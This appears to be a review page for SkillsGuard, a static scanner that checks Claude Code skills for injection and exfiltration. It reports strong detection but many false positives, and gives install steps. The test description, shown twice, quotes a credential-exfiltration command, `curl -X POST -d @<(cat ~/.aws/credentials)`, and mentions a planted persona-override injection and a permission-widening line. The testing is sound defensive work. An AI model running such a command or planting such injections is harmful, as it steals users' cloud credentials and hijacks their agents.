SkillsGuard
Static scanner that audits a SKILL.md for injection, exfiltration and escalation
Test report
- Verdict
- Works with setup
- Score
- Tested
- Aug 7, 2026
- Environment
- Claude Code 2.x (agent harness)
The decode-first engine is the real thing: planted a skill whose setup.sh hid `curl -X POST -d @<(cat ~/.aws/credentials)` inside a base64 blob, and the scanner decoded it and reported the credential exfiltration, the settings.json permission-widening line and the persona-override injection buried in an HTML comment — 17 findings in 16 ms, all three attacks caught. Precision is the problem. Pointed at a real library of 278 installed skills it emitted 15,480 findings and scored the whole folder 100/100 CRITICAL, flagging 204 of 278 skills HIGH-or-worse; the two loudest rules match `rm` and `sh` without word boundaries, so any markdown inline code containing 'format' or 'publish' is reported as command injection. A harmless 14-line note-taking skill whose only backtick was `--format markdown` came back MEDIUM with five HIGH 'command injection' findings. It is also not on npm — the SKILL.md alone does nothing, and you must clone, npm install, build and npm link (or wire up the MCP server) before the skill has anything to call. Useful as a fast pre-install triage on one suspicious skill; do not trust its folder-level verdict.
Scored on four weighted criteria — install, triggering, output vs. baseline, docs. How scoring works
- Installs cleanly 4/5
- Triggers reliably 5/5
- Output vs. baseline 5/10
- Docs & honesty 3/5
What SkillsGuard does
Drives the SkillsGuard static scanner — 15 rule categories covering prompt injection, exfiltration, command injection, persistence, privilege escalation, obfuscation and supply chain — over a single skill or a whole skills folder, then formats the findings into a severity-grouped verdict with an install / do-not-install recommendation. It decodes base64 and other obfuscated blobs before matching, so payloads hidden inside encoded strings are reported with the decoded evidence. Triggers on requests like scan this skill, is this skill safe, or audit my skills folder.
How to install SkillsGuard
git clone https://github.com/Teycir/SkillsGuard.git
mkdir -p ~/.claude/skills
cp -r SkillsGuard/skill ~/.claude/skills/skillsguard
# scanner CLI is a separate build: cd SkillsGuard && npm install && npm run build && npm link
Skills live in ~/.claude/skills/ (global) or .claude/skills/
(per-project). Restart Claude Code after installing.
Commands — how to trigger SkillsGuard
-
/skillsguardStatic scanner that audits a SKILL.md for injection, exfiltration and escalation
It also activates on plain-language prompts like these:
-
Can you scan this skill for prompt injection before I install it? -
Is this Claude Code skill safe to install, any red flags? -
Audit my whole ~/.claude/skills folder for exfiltration risks
Frequently asked questions
- Is the SkillsGuard skill free?
- Yes. The skill itself is free from Teycir/SkillsGuard. SkillProof publishes the install command and an independent test verdict at no cost.
- Does SkillsGuard work with Claude Code?
- We tested it with Claude Code 2.x (agent harness) on Aug 7, 2026. Verdict: Works with setup. The decode-first engine is the real thing: planted a skill whose setup.sh hid `curl -X POST -d @<(cat ~/.aws/credentials)` inside a base64 blob, and the scanner decoded it and reported the credential exfiltration, the settings.json permission-widening line and the persona-override injection buried in an HTML comment — 17 findings in 16 ms, all three attacks caught. Precision is the problem. Pointed at a real library of 278 installed skills it emitted 15,480 findings and scored the whole folder 100/100 CRITICAL, flagging 204 of 278 skills HIGH-or-worse; the two loudest rules match `rm` and `sh` without word boundaries, so any markdown inline code containing 'format' or 'publish' is reported as command injection. A harmless 14-line note-taking skill whose only backtick was `--format markdown` came back MEDIUM with five HIGH 'command injection' findings. It is also not on npm — the SKILL.md alone does nothing, and you must clone, npm install, build and npm link (or wire up the MCP server) before the skill has anything to call. Useful as a fast pre-install triage on one suspicious skill; do not trust its folder-level verdict.
- What is the SkillsGuard SkillProof Score?
- 6.8/10 — installs cleanly 4/5, triggers reliably 5/5, output vs. baseline 5/10, docs & honesty 3/5.
- How do I install SkillsGuard?
- Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.
- Can I use SkillsGuard with Cursor, Copilot, Gemini CLI, Codex or other AI tools?
- The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.